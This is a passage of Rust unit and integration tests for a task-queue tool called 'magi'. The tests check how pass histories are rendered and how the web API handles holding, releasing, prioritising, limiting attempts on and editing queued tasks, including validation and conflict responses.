15859        assert!(
15860            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
15861            "{}",
15862            h[0].outcome
15863        );
15864        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
15865        assert!(
15866            h[0].outcome.contains("pass #2 resumed the same run"),
15867            "{}",
15868            h[0].outcome
15869        );
15870        assert!(
15871            h[0].outcome.contains("pass 1 of 2 over run"),
15872            "{}",
15873            h[0].outcome
15874        );
15875        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15876        assert_eq!(
15877            h[0].exit_label,
15878            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
15879        );
15880        let f = task_flow(&task, &h, 2, None);
15881        // Two passes of one run, one of two attempts consumed.
15882        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
15883        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15884        assert!(
15885            f.edges[1].label.contains("upgrade 0.121.0"),
15886            "{}",
15887            f.edges[1].label
15888        );
15889        assert!(
15890            f.edges[1].label.contains("resume the same run"),
15891            "{}",
15892            f.edges[1].label
15893        );
15894        assert_eq!(f.nodes[1].note, Some("parked"));
15895    }
15896
15897    #[test]
15898    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
15899        let mut a = flow_run(RunStatus::Implementing, |s| {
15900            s.passes = vec![
15901                recorded_pass(0, parked(upgrade_cause())),
15902                recorded_pass(1, None),
15903            ];
15904        });
15905        let mut b = flow_run(RunStatus::Failed, |s| {
15906            s.passes = vec![recorded_pass(0, None)];
15907        });
15908        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
15909        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
15910        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
15911        let mut task = flow_task(&[]);
15912        task.start("a".into());
15913        task.start("b".into());
15914        task.start("a".into());
15915        assert_eq!(task.runs, ["b", "a"]);
15916        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
15917        let h = task_history(&task, |id| {
15918            Some(if id == "a" { a.clone() } else { b.clone() })
15919        });
15920        assert_eq!(
15921            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
15922            ["a", "b", "a"]
15923        );
15924        assert_eq!(h[0].attempt, AttemptCost::Refunded);
15925        assert!(h[0].outcome.contains("upgrade"));
15926        assert_eq!(h[2].kind, "resume");
15927        assert!(h[2].pass.is_some());
15928        // The old repeated-id format must show the same recorded passes.
15929        task.runs = vec!["a".into(), "b".into(), "a".into()];
15930        let old = task_history(&task, |id| {
15931            Some(if id == "a" { a.clone() } else { b.clone() })
15932        });
15933        assert_eq!(
15934            old.iter()
15935                .map(|v| (&v.id, &v.kind, v.attempt))
15936                .collect::<Vec<_>>(),
15937            h.iter()
15938                .map(|v| (&v.id, &v.kind, v.attempt))
15939                .collect::<Vec<_>>()
15940        );
15941    }
15942
15943    #[test]
15944    fn an_upgrade_whose_target_was_not_known_says_so() {
15945        let run = flow_run(RunStatus::Implementing, |s| {
15946            s.passes = vec![
15947                recorded_pass(
15948                    0,
15949                    parked(crate::run::ParkCause::Upgrade {
15950                        from: "0.121.0".to_owned(),
15951                        to: None,
15952                    }),
15953                ),
15954                recorded_pass(1, None),
15955            ];
15956        });
15957        let task = flow_task(&[RUN_X, RUN_X]);
15958        let h = task_history(&task, |_| Some(run.clone()));
15959        assert!(
15960            h[0].outcome.contains("upgrade from 0.121.0"),
15961            "{}",
15962            h[0].outcome
15963        );
15964        // No settle record: the refund is not claimed.
15965        assert_eq!(h[0].attempt, AttemptCost::Unknown);
15966    }
15967
15968    #[test]
15969    fn each_pass_keeps_its_own_cause_across_several_resumes() {
15970        use crate::queue::PassCost;
15971        use crate::run::ParkCause;
15972        let run = flow_run(RunStatus::Implementing, |s| {
15973            s.passes = vec![
15974                recorded_pass(0, parked(upgrade_cause())),
15975                recorded_pass(
15976                    1,
15977                    parked(ParkCause::Interrupt {
15978                        reason: "task a1b2 asked to run first".to_owned(),
15979                    }),
15980                ),
15981                recorded_pass(2, parked(ParkCause::Operator)),
15982                recorded_pass(3, None),
15983            ];
15984        });
15985        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
15986        task.attempts = 1;
15987        task.passes = (0..3)
15988            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
15989            .collect();
15990        let h = task_history(&task, |_| Some(run.clone()));
15991        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
15992        assert!(
15993            h[1].outcome.contains("task a1b2 asked to run first"),
15994            "{}",
15995            h[1].outcome
15996        );
15997        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
15998        assert!(
15999            h[2].outcome.contains("operator asked the loop to park"),
16000            "{}",
16001            h[2].outcome
16002        );
16003        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16004        let f = task_flow(&task, &h, 2, None);
16005        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16006    }
16007
16008    #[test]
16009    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16010        let run = flow_run(RunStatus::Implementing, |s| {
16011            s.passes = vec![
16012                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16013                recorded_pass(1, None),
16014            ];
16015        });
16016        let task = flow_task(&[RUN_X, RUN_X]);
16017        let h = task_history(&task, |_| Some(run.clone()));
16018        assert_eq!(h[0].exit, RunExit::Interrupted);
16019        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16020        assert!(
16021            h[0].outcome.contains("without recording why"),
16022            "{}",
16023            h[0].outcome
16024        );
16025        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16026        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16027    }
16028
16029    #[test]
16030    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16031        use crate::queue::PassCost;
16032        // Three entries, but the run only began keeping passes at the last
16033        // two: the first is legacy and must not be given a cause.
16034        let run = flow_run(RunStatus::Implementing, |s| {
16035            s.passes = vec![
16036                recorded_pass(0, parked(upgrade_cause())),
16037                recorded_pass(1, None),
16038            ];
16039        });
16040        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16041        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16042        let h = task_history(&task, |_| Some(run.clone()));
16043        assert!(h[0].pass.is_none());
16044        assert_eq!(h[0].exit, RunExit::Interrupted);
16045        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16046        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16047        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16048        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16049        // A run with no passes at all is entirely unknown.
16050        let legacy = flow_run(RunStatus::Implementing, |_| {});
16051        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16052        assert!(h.iter().all(|v| v.pass.is_none()));
16053        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16054    }
16055
16056    #[test]
16057    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16058        use crate::queue::PassCost;
16059        // Pass 1 is a web-button resume: a pass of the run, no entry of the
16060        // task. The two entries are passes 0 and 2.
16061        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16062        web.task_entry = false;
16063        let run = flow_run(RunStatus::Implementing, |s| {
16064            s.passes = vec![
16065                recorded_pass(0, parked(upgrade_cause())),
16066                web.clone(),
16067                recorded_pass(2, None),
16068            ];
16069        });
16070        let mut task = flow_task(&[RUN_X, RUN_X]);
16071        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16072        let h = task_history(&task, |_| Some(run.clone()));
16073        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16074        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16075
16076        // Legacy first entry, then a web resume that parked for an upgrade,
16077        // then the daemon's pass: the legacy entry must stay unknown.
16078        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16079        web0.task_entry = false;
16080        let run = flow_run(RunStatus::Implementing, |s| {
16081            s.passes = vec![web0.clone(), recorded_pass(1, None)];
16082        });
16083        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16084        assert!(h[0].pass.is_none());
16085        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16086        assert!(h[1].pass.is_some());
16087    }
16088
16089    #[tokio::test]
16090    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16091        let dir = tempfile::tempdir().unwrap();
16092        let queue = Queue::at(dir.path().join("queue"));
16093        let ui = Arc::new(Ui::new(
16094            queue.clone(),
16095            Questions::at(dir.path().join("questions")),
16096            Talks::at(dir.path().join("talks")),
16097            dir.path().join("runs"),
16098            dir.path().to_path_buf(),
16099            dir.path().to_path_buf(),
16100        ));
16101        let mut t = Task::new(
16102            "recover".into(),
16103            "Inspect".into(),
16104            PathBuf::from("."),
16105            Source::Human,
16106        );
16107        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16108        t.start("run-A".into());
16109        t.release_operator("choice", Some("resume-question"));
16110        t.resume_override = Some(crate::queue::OperatorResume {
16111            question_id: "resume-question".into(),
16112            at: jiff::Timestamp::now(),
16113            conductor_rehold: None,
16114            forced: true,
16115            pinned_run: Some("run-A".into()),
16116        });
16117        t.hold_machine(Some("inspection pending".into()));
16118        t.edit("recover".into(), "Reuse approved PR head".into())
16119            .unwrap();
16120        queue.put(&mut t).unwrap();
16121        let mut cli = t.clone();
16122        cli.release_operator("cli", None);
16123        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16124        let reloaded = queue.get(&t.id).unwrap();
16125        assert_eq!(reply.task.status, TaskStatus::Queued);
16126        assert!(reloaded.resume_override.is_none());
16127        assert_eq!(reloaded.answers, t.answers);
16128        let mut web = reloaded.resumption.unwrap();
16129        let cli = cli.resumption.unwrap();
16130        assert_eq!(web.source, "web");
16131        web.source = cli.source.clone();
16132        web.at = cli.at;
16133        assert_eq!(web, cli);
16134    }
16135
16136    #[tokio::test]
16137    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16138        let f = Fixture::start().await;
16139        let queue = f.queue();
16140        let mut task = Task::new(
16141            "spent".to_owned(),
16142            "Try again".to_owned(),
16143            PathBuf::from("/repo/magi"),
16144            Source::Human,
16145        );
16146        task.start("20260902-140502-bbbb".to_owned());
16147        task.fail("agent gave up", 9);
16148        queue.put(&mut task).expect("file the task");
16149
16150        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16151        assert_eq!(held.status, 200);
16152        assert_eq!(held.json()["status_str"], "held");
16153
16154        let released = f
16155            .post(&format!("/api/queue/{}/release", task.id), None)
16156            .await;
16157        assert_eq!(released.status, 200);
16158        assert_eq!(released.json()["status_str"], "queued");
16159        assert_eq!(released.json()["resumption"]["source"], "web");
16160        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16161        let mut cli = task.clone();
16162        cli.release_operator("cli", None);
16163        let web = queue.get(&task.id).unwrap().resumption.unwrap();
16164        let cli = cli.resumption.unwrap();
16165        assert_eq!(web.instruction, cli.instruction);
16166        assert_eq!(web.answers_through, cli.answers_through);
16167        assert_eq!(web.runs_through, cli.runs_through);
16168        assert_eq!(web.cleared_reason, cli.cleared_reason);
16169        assert_eq!(
16170            released.json()["attempts"],
16171            0,
16172            "release is a real second chance, not an instant re-hold"
16173        );
16174        assert_eq!(
16175            queue.get(&task.id).expect("reload").status,
16176            TaskStatus::Queued,
16177            "the change is on disk, not only in the reply"
16178        );
16179        assert!(
16180            !f.home
16181                .path()
16182                .join("queue")
16183                .join(format!("{}.lock", task.id))
16184                .exists(),
16185            "the claim the mutation took is released again"
16186        );
16187    }
16188
16189    #[tokio::test]
16190    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16191        let f = Fixture::start().await;
16192        let queue = f.queue();
16193        let mut task = Task::new(
16194            "busy".to_owned(),
16195            "Running right now".to_owned(),
16196            PathBuf::from("/repo/magi"),
16197            Source::Human,
16198        );
16199        queue.put(&mut task).expect("file the task");
16200        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16201
16202        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16203
16204        assert_eq!(res.status, 409);
16205        assert_eq!(
16206            queue.get(&task.id).expect("reload").status,
16207            TaskStatus::Queued,
16208            "the refused hold changed nothing"
16209        );
16210    }
16211
16212    #[tokio::test]
16213    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16214        let f = Fixture::start().await;
16215        let queue = f.queue();
16216        let mut task = Task::new(
16217            "waiting on the migration".to_owned(),
16218            "Do the thing".to_owned(),
16219            PathBuf::from("/repo/magi"),
16220            Source::Human,
16221        );
16222        queue.put(&mut task).expect("file the task");
16223
16224        let held = f
16225            .post(
16226                &format!("/api/queue/{}/hold", task.id),
16227                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16228            )
16229            .await;
16230        assert_eq!(held.status, 200, "{}", held.body);
16231        assert_eq!(held.json()["status_str"], "held");
16232        assert_eq!(
16233            held.json()["hold_reason"],
16234            "waiting for 20260101-000000-aaaa to land"
16235        );
16236
16237        let listed = f.get("/api/queue").await.json();
16238        assert_eq!(
16239            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16240            "the card reads the reason off the same list route"
16241        );
16242
16243        // A hold with no body at all must keep working - most holds have no
16244        // reason to give.
16245        let mut plain = Task::new(
16246            "no reason given".to_owned(),
16247            "Do another thing".to_owned(),
16248            PathBuf::from("/repo/magi"),
16249            Source::Human,
16250        );
16251        queue.put(&mut plain).expect("file the task");
16252        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16253        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16254        assert!(held_plain.json()["hold_reason"].is_null());
16255
16256        let released = f
16257            .post(&format!("/api/queue/{}/release", task.id), None)
16258            .await;
16259        assert_eq!(released.status, 200);
16260        assert!(
16261            released.json()["hold_reason"].is_null(),
16262            "a release must clear the reason so the next hold does not inherit it"
16263        );
16264    }
16265
16266    #[test]
16267    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16268        for urgent in [true, false] {
16269            let body: UrgentBody =
16270                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16271            assert_eq!(body.urgent, urgent);
16272        }
16273        for input in [
16274            r#"{}"#,
16275            r#"{"urgent":null}"#,
16276            r#"{"urgent":"true"}"#,
16277            r#"{"urgent":1}"#,
16278            r#"{"urgent":true,"extra":false}"#,
16279        ] {
16280            assert!(
16281                serde_json::from_str::<UrgentBody>(input).is_err(),
16282                "{input}"
16283            );
16284        }
16285    }
16286
16287    #[tokio::test]
16288    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16289        let home = TempDir::new().unwrap();
16290        let q = Queue::at(home.path().join("queue"));
16291        let ui = Arc::new(Ui::new(
16292            q.clone(),
16293            Questions::at(home.path().join("questions")),
16294            Talks::at(home.path().join("talks")),
16295            home.path().join("runs"),
16296            home.path().into(),
16297            home.path().into(),
16298        ));
16299        let mut task = Task::new(
16300            "urgent handler".into(),
16301            "keep".into(),
16302            home.path().into(),
16303            Source::Human,
16304        );
16305        for status in [TaskStatus::Queued, TaskStatus::Held] {
16306            task.status = status;
16307            q.put(&mut task).unwrap();
16308            for urgent in [true, true, false, false] {
16309                let saved = queue_urgent(
16310                    State(Arc::clone(&ui)),
16311                    Path(task.short().into()),
16312                    Ok(Json(UrgentBody { urgent })),
16313                )
16314                .await
16315                .unwrap();
16316                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16317                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16318            }
16319        }
16320        task.status = TaskStatus::Queued;
16321        q.put(&mut task).unwrap();
16322        let claim = q.claim(&task.id).unwrap();
16323        let error = queue_urgent(
16324            State(Arc::clone(&ui)),
16325            Path(task.id.clone()),
16326            Ok(Json(UrgentBody { urgent: true })),
16327        )
16328        .await
16329        .unwrap_err();
16330        assert_eq!(error.status, StatusCode::CONFLICT);
16331        assert!(error.message.contains("released"));
16332        drop(claim);
16333        for status in [
16334            TaskStatus::Running,
16335            TaskStatus::Done,
16336            TaskStatus::Failed,
16337            TaskStatus::Blocked,
16338            TaskStatus::Parked,
16339        ] {
16340            task.status = status;
16341            q.put(&mut task).unwrap();
16342            let error = queue_urgent(
16343                State(Arc::clone(&ui)),
16344                Path(task.id.clone()),
16345                Ok(Json(UrgentBody { urgent: false })),
16346            )
16347            .await
16348            .unwrap_err();
16349            assert_eq!(error.status, StatusCode::BAD_REQUEST);
16350            assert!(error.message.contains(status.as_str()));
16351        }
16352    }
16353
16354    #[tokio::test]
16355    async fn urgent_api_updates_preserves_and_validates_tasks() {
16356        let f = Fixture::start().await;
16357        let q = f.queue();
16358        let mut t = Task::new(
16359            "urgent API".into(),
16360            "unchanged".into(),
16361            PathBuf::from("/repo/magi"),
16362            Source::Human,
16363        );
16364        t.attempts = 2;
16365        t.priority = 9;
16366        t.interrupt = true;
16367        t.hold_reason = Some("waiting for approval".into());
16368        for status in [TaskStatus::Queued, TaskStatus::Held] {
16369            t.status = status;
16370            q.put(&mut t).unwrap();
16371            for urgent in [true, true, false, false] {
16372                let response = f
16373                    .post(
16374                        &format!("/api/queue/{}/urgent", t.short()),
16375                        Some(&format!("{{\"urgent\":{urgent}}}")),
16376                    )
16377                    .await;
16378                assert_eq!(response.status, 200, "{}", response.body);
16379                assert_eq!(response.json()["urgent"], urgent);
16380                let saved = q.get(&t.id).unwrap();
16381                let mut before = serde_json::to_value(&t).unwrap();
16382                let mut after = serde_json::to_value(saved).unwrap();
16383                before["urgent"] = urgent.into();
16384                before.as_object_mut().unwrap().remove("updated_at");
16385                after.as_object_mut().unwrap().remove("updated_at");
16386                assert_eq!(after, before);
16387            }
16388        }
16389        let route = format!("/api/queue/{}/urgent", t.id);
16390        for body in [
16391            r#"{}"#,
16392            r#"{"urgent":null}"#,
16393            r#"{"urgent":"true"}"#,
16394            r#"{"urgent":1}"#,
16395            r#"{"urgent":true,"extra":false}"#,
16396            "{",
16397        ] {
16398            assert_eq!(f.post(&route, Some(body)).await.status, 400);
16399        }
16400        t.status = TaskStatus::Queued;
16401        q.put(&mut t).unwrap();
16402        let claim = q.claim(&t.id).unwrap();
16403        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16404        assert_eq!(response.status, 409, "{}", response.body);
16405        assert!(!q.get(&t.id).unwrap().urgent);
16406        drop(claim);
16407        for status in [
16408            TaskStatus::Running,
16409            TaskStatus::Done,
16410            TaskStatus::Failed,
16411            TaskStatus::Blocked,
16412            TaskStatus::Parked,
16413        ] {
16414            t.status = status;
16415            q.put(&mut t).unwrap();
16416            for urgent in [true, false] {
16417                let response = f
16418                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16419                    .await;
16420                assert_eq!(response.status, 400, "{}", response.body);
16421                assert!(response.body.contains(status.as_str()));
16422                assert!(response.body.contains("queued or held"));
16423                assert!(!q.get(&t.id).unwrap().urgent);
16424            }
16425        }
16426        assert_eq!(
16427            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16428                .await
16429                .status,
16430            404
16431        );
16432    }
16433
16434    #[tokio::test]
16435    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16436        let f = Fixture::start().await;
16437        let queue = f.queue();
16438        let mut older = Task::new(
16439            "filed first".to_owned(),
16440            "x".to_owned(),
16441            PathBuf::from("/repo/magi"),
16442            Source::Human,
16443        );
16444        older.id = "20260101-000001-aaaa".to_owned();
16445        let mut newer = Task::new(
16446            "filed second".to_owned(),
16447            "x".to_owned(),
16448            PathBuf::from("/repo/magi"),
16449            Source::Human,
16450        );
16451        newer.id = "20260101-000002-bbbb".to_owned();
16452        queue.put(&mut older).expect("file older");
16453        queue.put(&mut newer).expect("file newer");
16454
16455        // Equal priority: the newer task leads, the same order the old
16456        // newest-first `list()` already gave every equal-priority queue.
16457        let before = f.get("/api/queue").await.json();
16458        assert_eq!(before[0]["id"], newer.id);
16459        assert_eq!(before[1]["id"], older.id);
16460
16461        // Raising the *older* task is the meaningful case: it can only lead
16462        // now because its priority says so, not because it happens to be
16463        // newest.
16464        let raised = f
16465            .post(
16466                &format!("/api/queue/{}/priority", older.id),
16467                Some(r#"{"priority":10}"#),
16468            )
16469            .await;
16470        assert_eq!(raised.status, 200, "{}", raised.body);
16471        assert_eq!(raised.json()["priority"], 10);
16472
16473        let after = f.get("/api/queue").await.json();
16474        let names: Vec<&str> = after
16475            .as_array()
16476            .unwrap()
16477            .iter()
16478            .map(|t| t["id"].as_str().unwrap())
16479            .collect();
16480        // Highest priority first, which is the order next_runnable and
16481        // `magi task list` both use - GET /api/queue must agree with it
16482        // immediately, not just once the loop claims the task.
16483        assert_eq!(names[0], older.id, "the raised task now sorts first");
16484    }
16485
16486    #[tokio::test]
16487    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16488        let dir = TempDir::new().unwrap();
16489        let q = Queue::at(dir.path().join("queue"));
16490        let ui = Arc::new(Ui::new(
16491            q.clone(),
16492            Questions::at(dir.path().join("questions")),
16493            Talks::at(dir.path().join("talks")),
16494            dir.path().join("runs"),
16495            dir.path().to_path_buf(),
16496            dir.path().to_path_buf(),
16497        ));
16498        let mut t = Task::new(
16499            "budget".into(),
16500            "keep".into(),
16501            dir.path().into(),
16502            Source::Human,
16503        );
16504        t.attempts = 2;
16505        t.runs.push("prior-run".into());
16506        t.hold_manual(Some("waiting".into()));
16507        q.put(&mut t).unwrap();
16508        let change = |value| {
16509            queue_attempt_limit(
16510                State(ui.clone()),
16511                Path(t.id.clone()),
16512                Ok(Json(AttemptLimitBody {
16513                    attempt_limit: value,
16514                })),
16515            )
16516        };
16517        for value in [
16518            serde_json::json!(3),
16519            serde_json::Value::Null,
16520            serde_json::json!(1),
16521        ] {
16522            let response = change(value.clone()).await.unwrap();
16523            assert_eq!(
16524                serde_json::to_value(response.0).unwrap()["attempt_limit"],
16525                value
16526            );
16527            let saved = q.get(&t.id).unwrap();
16528            assert_eq!(
16529                serde_json::to_value(&saved).unwrap()["attempt_limit"],
16530                value
16531            );
16532            assert_eq!(saved.status, TaskStatus::Held);
16533            assert_eq!(saved.attempts, t.attempts);
16534            assert_eq!(saved.runs, t.runs);
16535            assert_eq!(saved.hold_reason, t.hold_reason);
16536            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16537                .await
16538                .unwrap()
16539                .0;
16540            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
16541            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
16542            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
16543            assert_eq!(outcome.max_attempts, detail.max_attempts);
16544        }
16545        for value in [
16546            serde_json::json!(0),
16547            serde_json::json!(-1),
16548            serde_json::json!(1.5),
16549            serde_json::json!("3"),
16550            serde_json::json!(true),
16551        ] {
16552            assert_eq!(
16553                change(value).await.err().unwrap().status,
16554                StatusCode::BAD_REQUEST
16555            );
16556        }
16557        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
16558        let claim = q.claim(&t.id).unwrap();
16559        assert_eq!(
16560            change(serde_json::json!(4)).await.err().unwrap().status,
16561            StatusCode::CONFLICT
16562        );
16563        drop(claim);
16564        for status in [
16565            TaskStatus::Running,
16566            TaskStatus::Done,
16567            TaskStatus::Failed,
16568            TaskStatus::Blocked,
16569            TaskStatus::Parked,
16570        ] {
16571            let mut stored = q.get(&t.id).unwrap();
16572            stored.status = status;
16573            q.put(&mut stored).unwrap();
16574            assert_eq!(
16575                change(serde_json::json!(4)).await.err().unwrap().status,
16576                StatusCode::BAD_REQUEST
16577            );
16578            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
16579        }
16580        let mut stored = q.get(&t.id).unwrap();
16581        stored.status = TaskStatus::Queued;
16582        q.put(&mut stored).unwrap();
16583        let _ = change(serde_json::Value::Null).await.unwrap();
16584        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
16585    }
16586
16587    #[tokio::test]
16588    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
16589        let dir = TempDir::new().unwrap();
16590        let repo = dir.path().join("repo");
16591        std::fs::create_dir(&repo).unwrap();
16592        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
16593        let q = Queue::at(dir.path().join("queue"));
16594        let ui = Arc::new(Ui::new(
16595            q.clone(),
16596            Questions::at(dir.path().join("questions")),
16597            Talks::at(dir.path().join("talks")),
16598            dir.path().join("runs"),
16599            dir.path().to_path_buf(),
16600            repo.clone(),
16601        ));
16602        let mut t = Task::new(
16603            "seats".into(),
16604            "keep instruction".into(),
16605            repo,
16606            Source::Human,
16607        );
16608        t.runs.push("prior-run".into());
16609        t.hold_manual(Some("waiting".into()));
16610        q.put(&mut t).unwrap();
16611        let change = |count| {
16612            queue_implementers(
16613                State(ui.clone()),
16614                Path(t.id.clone()),
16615                Ok(Json(ImplementersBody {
16616                    implementers: count,
16617                })),
16618            )
16619        };
16620        for count in [2, 1, 2] {
16621            let response = change(count).await.unwrap();
16622            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
16623            let saved = q.get(&t.id).unwrap();
16624            assert_eq!(saved.implementers(), Some(usize::from(count)));
16625            assert_eq!(saved.runs, t.runs);
16626            assert_eq!(saved.instruction, t.instruction);
16627        }
16628        for count in [0, 4] {
16629            assert_eq!(
16630                change(count).await.err().unwrap().status,
16631                StatusCode::BAD_REQUEST
16632            );
16633        }
16634        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
16635        let claim = q.claim(&t.id).unwrap();
16636        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
16637        drop(claim);
16638        for status in [
16639            TaskStatus::Running,
16640            TaskStatus::Done,
16641            TaskStatus::Failed,
16642            TaskStatus::Blocked,
16643            TaskStatus::Parked,
16644        ] {
16645            let mut stored = q.get(&t.id).unwrap();
16646            stored.status = status;
16647            q.put(&mut stored).unwrap();
16648            assert_eq!(
16649                change(1).await.err().unwrap().status,
16650                StatusCode::BAD_REQUEST
16651            );
16652            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
16653        }
16654    }
16655
16656    #[tokio::test]
16657    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
16658        let f = Fixture::start().await;
16659        let queue = f.queue();
16660        let mut task = Task::new(
16661            "in flight".to_owned(),
16662            "x".to_owned(),
16663            PathBuf::from("/repo/magi"),
16664            Source::Human,
16665        );
16666        task.start("20260902-140502-bbbb".to_owned());
16667        queue.put(&mut task).expect("file the task");
16668
16669        let res = f
16670            .post(
16671                &format!("/api/queue/{}/priority", task.id),
16672                Some(r#"{"priority":9}"#),
16673            )
16674            .await;
16675        assert_eq!(res.status, 400, "{}", res.body);
16676        assert!(
16677            res.json()["error"]
16678                .as_str()
16679                .is_some_and(|e| e.contains("running")),
16680            "{}",
16681            res.body
16682        );
16683        assert_eq!(
16684            queue.get(&task.id).expect("reload").priority,
16685            0,
16686            "the refused write must not partially apply"
16687        );
16688    }
16689
16690    #[tokio::test]
16691    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
16692        let f = Fixture::start().await;
16693        let queue = f.queue();
16694        let mut task = Task::new(
16695            "old title".to_owned(),
16696            "old instruction".to_owned(),
16697            PathBuf::from("/repo/magi"),
16698            Source::Agent {
16699                run: "20260101-000000-beef".to_owned(),
16700                node: "implement".to_owned(),
16701            },
16702        );
16703        task.runs.push("20260101-000000-beef".to_owned());
16704        queue.put(&mut task).expect("file the task");
16705        let created_at = task.created_at;
16706
16707        let edited = f
16708            .post(
16709                &format!("/api/queue/{}/edit", task.id),
16710                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
16711            )
16712            .await;
16713        assert_eq!(edited.status, 200, "{}", edited.body);
16714        let body = edited.json();
16715        assert_eq!(body["title"], "new title");
16716        assert_eq!(body["instruction"], "new instruction");
16717        assert_eq!(body["id"], task.id, "editing must not mint a new id");
16718        assert_eq!(body["created_at"], created_at.to_string());
16719        assert_eq!(
16720            body["source"]["kind"], "agent",
16721            "editing a task an agent filed must not turn it human: {body}"
16722        );
16723        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
16724
16725        let reloaded = queue.get(&task.id).expect("reload");
16726        assert_eq!(reloaded.title, "new title");
16727        assert_eq!(reloaded.instruction, "new instruction");
16728    }
16729
16730    #[tokio::test]
16731    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
16732        // The judge is an agent now: a repo whose only agent answers
16733        // "duplicate" stands in for it, so the refusal is the judge's.
16734        let tmp = TempDir::new().expect("tempdir");
16735        let repo = tmp.path().join("repo");
16736        std::fs::create_dir_all(&repo).expect("repo dir");
16737        let judge = MOCK_AGENT_TOML.replace(
16738            "printf ok",
16739            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
16740        );
16741        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
16742        let f = Fixture::with_repo(repo.clone()).await;
16743        let queue = f.queue();
16744        let mut owner = Task::new(
16745            "owner".to_owned(),
16746            "review it".to_owned(),
16747            repo.clone(),
16748            Source::Human,
16749        );
16750        owner.review_branch = Some("magi/ab12/A".to_owned());
